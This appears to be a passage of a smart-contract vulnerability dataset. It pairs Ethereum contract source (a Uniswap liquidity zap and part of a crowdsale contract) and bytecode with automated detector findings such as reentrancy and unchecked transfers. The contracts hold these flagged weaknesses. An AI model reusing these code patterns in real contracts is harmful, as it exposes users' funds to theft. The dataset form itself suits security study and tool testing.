5260040160606040518083038186803b1580156133dd57600080fd5b505afa1580156133f1573d6000803e3d6000fd5b505050506040513d606081101561340757600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050509150915060003073ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156134b257600080fd5b505afa1580156134c6573d6000803e3d6000fd5b505050506040513d60208110156134dc57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161490506000816135135782613515565b835b6dffffffffffffffffffffffffffff1690506000826135345784613536565b835b6dffffffffffffffffffffffffffff169050600061355d828461296890919063ffffffff16565b9050828282985098509850505050505050909192565b60008083141561358657600090506135f3565b600082840290508284828161359757fe5b04146135ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806139b96021913960400191505060405180910390fd5b809150505b92915050565b600061363b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506126e1565b905092915050565b60008060008060008060008060006136608a600a54600b5461382a565b925092509250600061367061293d565b905060008060006136838e8787876138c0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600080828401905083811015613729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061373d61293d565b90506000613754828461357390919063ffffffff16565b90506137a881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136ab90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613805826008546135f990919063ffffffff16565b600881905550613820816009546136ab90919063ffffffff16565b6009819055505050565b6000806000806138566064613848888a61357390919063ffffffff16565b61296890919063ffffffff16565b905060006138806064613872888b61357390919063ffffffff16565b61296890919063ffffffff16565b905060006138a98261389b858c6135f990919063ffffffff16565b6135f990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806138d9858961357390919063ffffffff16565b905060006138f0868961357390919063ffffffff16565b90506000613907878961357390919063ffffffff16565b905060006139308261392285876135f990919063ffffffff16565b6135f990919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e206d61785478416d6f756e74a2646970667358221220d63eb47141399a4b3366e781d9d90faf99f01c04ba5b6e3ae05dbc5cf5b75b8664736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,329 |
0x7951555081c0ce5db8a050d7c7db3761ed1eeb0b
|
/**
*Submitted for verification at Etherscan.io on 2020-11-17
*/
pragma solidity ^0.6.12;
//:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
//
// LiquidityZAP - BcdcZAP
// Copyright (c) 2020 deepyr.com
//
// BcdcZAP takes ETH and converts to a Uniswap liquidity tokens.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.
// If not, see <https://github.com/apguerrera/LiquidityZAP/>.
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// ---------------------------------------------------------------------
// SPDX-License-Identifier: GPL-3.0-or-later
// ---------------------------------------------------------------------
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ITokenPool {
function updatePool(uint256 _pid) external;
function depositFor(address _beneficiary, uint256 _pid, uint256 _amount) external;
}
contract BcdcZAP is Ownable {
using SafeMath for uint256;
address public _token;
address public _tokenWETHPair;
IWETH public _WETH;
ITokenPool public _tokenPool;
bool private initialized;
constructor(address token, address WETH, address tokenWethPair, address tokenPool) public {
_token = token;
_WETH = IWETH(WETH);
_tokenWETHPair = tokenWethPair;
_tokenPool = ITokenPool(tokenPool);
refreshApproval();
}
function refreshApproval() public {
IUniswapV2Pair(_tokenWETHPair).approve(address(_tokenPool), uint(-1));
}
fallback() external payable {
if(msg.sender != address(_WETH)){
addLiquidityETHOnly(msg.sender, false, 0);
}
}
function addLiquidityETHOnly(address payable to, bool autoStake, uint256 pid) public payable {
require(to != address(0), "Invalid address");
uint256 buyAmount = msg.value.div(2);
require(buyAmount > 0, "Insufficient ETH amount");
_WETH.deposit{value : msg.value}();
(uint256 reserveWeth, uint256 reserveTokens) = getPairReserves();
uint256 outTokens = UniswapV2Library.getAmountOut(buyAmount, reserveWeth, reserveTokens);
_WETH.transfer(_tokenWETHPair, buyAmount);
(address token0, address token1) = UniswapV2Library.sortTokens(address(_WETH), _token);
IUniswapV2Pair(_tokenWETHPair).swap(_token == token0 ? outTokens : 0, _token == token1 ? outTokens : 0, address(this), "");
_addLiquidity(outTokens, buyAmount, to, autoStake, pid);
}
function _addLiquidity(uint256 tokenAmount, uint256 wethAmount, address payable to, bool autoStake, uint256 pid) internal {
(uint256 wethReserve, uint256 tokenReserve) = getPairReserves();
uint256 optimalTokenAmount = UniswapV2Library.quote(wethAmount, wethReserve, tokenReserve);
uint256 optimalWETHAmount;
if (optimalTokenAmount > tokenAmount) {
optimalWETHAmount = UniswapV2Library.quote(tokenAmount, tokenReserve, wethReserve);
optimalTokenAmount = tokenAmount;
}
else
optimalWETHAmount = wethAmount;
assert(_WETH.transfer(_tokenWETHPair, optimalWETHAmount));
assert(IERC20(_token).transfer(_tokenWETHPair, optimalTokenAmount));
if (autoStake) {
IUniswapV2Pair(_tokenWETHPair).mint(address(this));
_tokenPool.depositFor(to, pid, IUniswapV2Pair(_tokenWETHPair).balanceOf(address(this)));
}
else
IUniswapV2Pair(_tokenWETHPair).mint(to);
if (tokenAmount > optimalTokenAmount)
IERC20(_token).transfer(to, tokenAmount.sub(optimalTokenAmount));
if (wethAmount > optimalWETHAmount) {
uint256 withdrawAmount = wethAmount.sub(optimalWETHAmount);
_WETH.withdraw(withdrawAmount);
to.transfer(withdrawAmount);
}
}
function getLPTokenPerEthUnit(uint ethAmt) public view returns (uint liquidity){
(uint256 reserveWeth, uint256 reserveTokens) = getPairReserves();
uint256 outTokens = UniswapV2Library.getAmountOut(ethAmt.div(2), reserveWeth, reserveTokens);
uint _totalSupply = IUniswapV2Pair(_tokenWETHPair).totalSupply();
(address token0, ) = UniswapV2Library.sortTokens(address(_WETH), _token);
(uint256 amount0, uint256 amount1) = token0 == _token ? (outTokens, ethAmt.div(2)) : (ethAmt.div(2), outTokens);
(uint256 _reserve0, uint256 _reserve1) = token0 == _token ? (reserveTokens, reserveWeth) : (reserveWeth, reserveTokens);
liquidity = SafeMath.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
function getPairReserves() internal view returns (uint256 wethReserves, uint256 tokenReserves) {
(address token0,) = UniswapV2Library.sortTokens(address(_WETH), _token);
(uint256 reserve0, uint reserve1,) = IUniswapV2Pair(_tokenWETHPair).getReserves();
(wethReserves, tokenReserves) = token0 == _token ? (reserve1, reserve0) : (reserve0, reserve1);
}
}
|
0x6080604052600436106100915760003560e01c8063bf33a1f511610059578063bf33a1f514610155578063d6b89a031461016a578063e0af3616146101a6578063ecd0c0c3146101bb578063f2fde38b146101d057610091565b806314b0818a146100b157806325f99547146100e2578063715018a6146101165780638da5cb5b1461012b578063b0c93dd214610140575b6003546001600160a01b031633146100af576100af33600080610203565b005b3480156100bd57600080fd5b506100c66104b8565b604080516001600160a01b039092168252519081900360200190f35b6100af600480360360608110156100f857600080fd5b506001600160a01b0381351690602081013515159060400135610203565b34801561012257600080fd5b506100af6104c7565b34801561013757600080fd5b506100c661057b565b34801561014c57600080fd5b506100c661058a565b34801561016157600080fd5b506100af610599565b34801561017657600080fd5b506101946004803603602081101561018d57600080fd5b5035610622565b60408051918252519081900360200190f35b3480156101b257600080fd5b506100c6610791565b3480156101c757600080fd5b506100c66107a0565b3480156101dc57600080fd5b506100af600480360360208110156101f357600080fd5b50356001600160a01b03166107af565b6001600160a01b038316610250576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b600061025d3460026108b9565b9050600081116102b4576040805162461bcd60e51b815260206004820152601760248201527f496e73756666696369656e742045544820616d6f756e74000000000000000000604482015290519081900360640190fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561030457600080fd5b505af1158015610318573d6000803e3d6000fd5b5050505050600080610328610904565b9150915060006103398484846109f1565b6003546002546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101899052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561039457600080fd5b505af11580156103a8573d6000803e3d6000fd5b505050506040513d60208110156103be57600080fd5b505060035460015460009182916103e1916001600160a01b039081169116610ac9565b6002546001549294509092506001600160a01b039081169163022c0d9f91808616911614610410576000610412565b845b6001546001600160a01b0385811691161461042e576000610430565b855b604080516001600160e01b031960e086901b1681526004810193909352602483019190915230604483015260806064830152600060848301819052905160c48084019382900301818387803b15801561048857600080fd5b505af115801561049c573d6000803e3d6000fd5b505050506104ad83878b8b8b610ba7565b505050505050505050565b6002546001600160a01b031681565b6104cf611046565b6000546001600160a01b03908116911614610531576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6004546001600160a01b031681565b600254600480546040805163095ea7b360e01b81526001600160a01b039283169381019390935260001960248401525192169163095ea7b3916044808201926020929091908290030181600087803b1580156105f457600080fd5b505af1158015610608573d6000803e3d6000fd5b505050506040513d602081101561061e57600080fd5b5050565b600080600061062f610904565b9092509050600061064b6106448660026108b9565b84846109f1565b90506000600260009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561069d57600080fd5b505afa1580156106b1573d6000803e3d6000fd5b505050506040513d60208110156106c757600080fd5b50516003546001549192506000916106eb916001600160a01b039081169116610ac9565b5060015490915060009081906001600160a01b0380851691161461071a576107148960026108b9565b85610726565b846107268a60026108b9565b600154919350915060009081906001600160a01b0386811691161461074c57888861074f565b87895b909250905061078282610762868961104a565b8161076957fe5b0482610775868a61104a565b8161077c57fe5b046110a3565b9b9a5050505050505050505050565b6003546001600160a01b031681565b6001546001600160a01b031681565b6107b7611046565b6000546001600160a01b03908116911614610819576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661085e5760405162461bcd60e51b81526004018080602001828103825260268152602001806112f36026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006108fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110b9565b90505b92915050565b60035460015460009182918291610927916001600160a01b039182169116610ac9565b509050600080600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561097b57600080fd5b505afa15801561098f573d6000803e3d6000fd5b505050506040513d60608110156109a557600080fd5b5080516020909101516001546dffffffffffffffffffffffffffff9283169450911691506001600160a01b038481169116146109e25781816109e5565b80825b90969095509350505050565b6000808411610a315760405162461bcd60e51b815260040180806020018281038252602b8152602001806113ac602b913960400191505060405180910390fd5b600083118015610a415750600082115b610a7c5760405162461bcd60e51b815260040180806020018281038252602881526020018061133e6028913960400191505060405180910390fd5b6000610a8a856103e561104a565b90506000610a98828561104a565b90506000610ab283610aac886103e861104a565b9061115b565b9050808281610abd57fe5b04979650505050505050565b600080826001600160a01b0316846001600160a01b03161415610b1d5760405162461bcd60e51b81526004018080602001828103825260258152602001806113196025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b031610610b3d578284610b40565b83835b90925090506001600160a01b038216610ba0576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b600080610bb2610904565b915091506000610bc38784846111b5565b9050600088821115610be457610bda8984866111b5565b9050889150610be7565b50865b6003546002546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b158015610c4057600080fd5b505af1158015610c54573d6000803e3d6000fd5b505050506040513d6020811015610c6a57600080fd5b5051610c7257fe5b6001546002546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169163a9059cbb9160448083019260209291908290030181600087803b158015610ccb57600080fd5b505af1158015610cdf573d6000803e3d6000fd5b505050506040513d6020811015610cf557600080fd5b5051610cfd57fe5b8515610e7457600254604080516335313c2160e11b815230600482015290516001600160a01b0390921691636a627842916024808201926020929091908290030181600087803b158015610d5057600080fd5b505af1158015610d64573d6000803e3d6000fd5b505050506040513d6020811015610d7a57600080fd5b505060048054600254604080516370a0823160e01b81523094810194909452516001600160a01b0392831693634cf5fbf5938c938b939116916370a08231916024808301926020929190829003018186803b158015610dd857600080fd5b505afa158015610dec573d6000803e3d6000fd5b505050506040513d6020811015610e0257600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0390941660048501526024840192909252604483015251606480830192600092919082900301818387803b158015610e5757600080fd5b505af1158015610e6b573d6000803e3d6000fd5b50505050610ef0565b600254604080516335313c2160e11b81526001600160a01b038a8116600483015291519190921691636a6278429160248083019260209291908290030181600087803b158015610ec357600080fd5b505af1158015610ed7573d6000803e3d6000fd5b505050506040513d6020811015610eed57600080fd5b50505b81891115610f87576001546001600160a01b031663a9059cbb88610f148c8661125b565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610f5a57600080fd5b505af1158015610f6e573d6000803e3d6000fd5b505050506040513d6020811015610f8457600080fd5b50505b808811156104ad576000610f9b898361125b565b60035460408051632e1a7d4d60e01b81526004810184905290519293506001600160a01b0390911691632e1a7d4d9160248082019260009290919082900301818387803b158015610feb57600080fd5b505af1158015610fff573d6000803e3d6000fd5b50506040516001600160a01b038b16925083156108fc02915083906000818181858888f19350505050158015611039573d6000803e3d6000fd5b5050505050505050505050565b3390565b600082611059575060006108fe565b8282028284828161106657fe5b04146108fb5760405162461bcd60e51b81526004018080602001828103825260218152602001806113666021913960400191505060405180910390fd5b60008183106110b257816108fb565b5090919050565b600081836111455760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561110a5781810151838201526020016110f2565b50505050905090810190601f1680156111375780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161115157fe5b0495945050505050565b6000828201838110156108fb576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008084116111f55760405162461bcd60e51b81526004018080602001828103825260258152602001806113876025913960400191505060405180910390fd5b6000831180156112055750600082115b6112405760405162461bcd60e51b815260040180806020018281038252602881526020018061133e6028913960400191505060405180910390fd5b8261124b858461104a565b8161125257fe5b04949350505050565b60006108fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250600081848411156112ea5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561110a5781810151838201526020016110f2565b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77556e697377617056324c6962726172793a20494e53554646494349454e545f414d4f554e54556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a2646970667358221220a1643ba245e85e1986ca3b075eb66cedd8c1e3ebd79d458d2266af203b03f80364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,330 |
0xa9d3f3bc16a971fe51a02aa6f8a75f569693e415
|
pragma solidity ^0.4.23;
// File: contracts/Utils/Math.sol
library MathUtils {
function add(uint a, uint b) internal pure returns (uint) {
uint result = a + b;
if (a == 0 || b == 0) {
return result;
}
require(result > a && result > b);
return result;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(a >= b);
return a - b;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint result = a * b;
require(result / a == b);
return result;
}
}
// File: contracts/Utils/Ownable.sol
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
function isOwner() view public returns (bool) {
return msg.sender == owner;
}
modifier grantOwner {
require(isOwner());
_;
}
}
// File: contracts/Crowdsale/CrowdsaleToken.sol
interface CrowdsaleToken {
function transfer(address destination, uint amount) external returns (bool);
function balanceOf(address account) external view returns (uint);
function burn(uint amount) external;
}
// File: contracts/Crowdsale/CryptoPoliceCrowdsale.sol
contract CryptoPoliceCrowdsale is Ownable {
using MathUtils for uint;
enum CrowdsaleState {
Pending, Started, Ended, Paused, SoldOut
}
struct ExchangeRate {
uint tokens;
uint price;
}
struct Participant {
bool identified;
uint processedDirectWeiAmount;
uint processedExternalWeiAmount;
uint suspendedDirectWeiAmount;
uint suspendedExternalWeiAmount;
}
event ExternalPaymentReminder(uint weiAmount, bytes32 paymentChecksum);
event PaymentSuspended(address participant);
event PaymentProcessed(uint weiAmount, address participant, bytes32 paymentChecksum, uint tokenAmount);
uint public constant THRESHOLD1 = 270000000e18;
uint public constant THRESHOLD2 = 350000000e18;
uint public constant THRESHOLD3 = 490000000e18;
uint public constant THRESHOLD4 = 510000000e18;
uint public constant RELEASE_THRESHOLD = 27000500e18;
address public admin;
/**
* Amount of tokens sold in this crowdsale
*/
uint public tokensSold;
/**
* Minimum number of Wei that can be exchanged for tokens
*/
uint public minSale = 0.01 ether;
/**
* Amount of direct Wei paid to the contract that has not yet been processed
*/
uint public suspendedPayments = 0;
/**
* Token that will be sold
*/
CrowdsaleToken public token;
/**
* State in which the crowdsale is in
*/
CrowdsaleState public state = CrowdsaleState.Pending;
/**
* List of exchange rates for each token volume
*/
ExchangeRate[4] public exchangeRates;
bool public crowdsaleEndedSuccessfully = false;
/**
* Number of Wei that can be paid without carrying out KYC process
*/
uint public unidentifiedSaleLimit = 1 ether;
/**
* Crowdsale participants that have made payments
*/
mapping(address => Participant) public participants;
/**
* Map external payment reference hash to that payment description
*/
mapping(bytes32 => string) public externalPaymentDescriptions;
/**
* Map participants to list of their external payment reference hashes
*/
mapping(address => bytes32[]) public participantExternalPaymentChecksums;
mapping(address => bytes32[]) public participantSuspendedExternalPaymentChecksums;
/**
* Map external payment checksum to payment amount
*/
mapping(bytes32 => uint) public suspendedExternalPayments;
mapping(address => bool) public bannedParticipants;
bool public revertSuspendedPayment = false;
/**
* 1) Process payment when crowdsale started by sending tokens in return
* 2) Issue a refund when crowdsale ended unsuccessfully
*/
function () public payable {
if (state == CrowdsaleState.Ended) {
msg.sender.transfer(msg.value);
refundParticipant(msg.sender);
} else {
require(state == CrowdsaleState.Started, "Crowdsale currently inactive");
processPayment(msg.sender, msg.value, "");
}
}
/**
* Recursively caluclates number of tokens that can be exchanged for given payment
*
* @param salePosition Number of tokens processed in crowdsale so far
* @param _paymentReminder Number of Wei remaining from payment so far
* @param _processedTokenCount Number of tokens that can be exchanged so far
*
* @return paymentReminder Number of Wei remaining from payment
* @return processedTokenCount Number of tokens that can be exchanged
* @return soldOut Indicates whether or not there would be no more tokens left after this exchange
*/
function exchangeCalculator(uint salePosition, uint _paymentReminder, uint _processedTokenCount)
internal view returns (uint paymentReminder, uint processedTokenCount, bool soldOut)
{
uint threshold = getTreshold(salePosition);
ExchangeRate memory currentExchangeRate = getExchangeRate(threshold);
// how many round number of portions are left for exchange
uint availablePortions = (threshold - salePosition) / currentExchangeRate.tokens;
// this indicates that there are no leftover tokens that can be exchanged
// without stepping over threshold
if (availablePortions == 0) {
if (threshold == THRESHOLD4) {
return (_paymentReminder, _processedTokenCount, true);
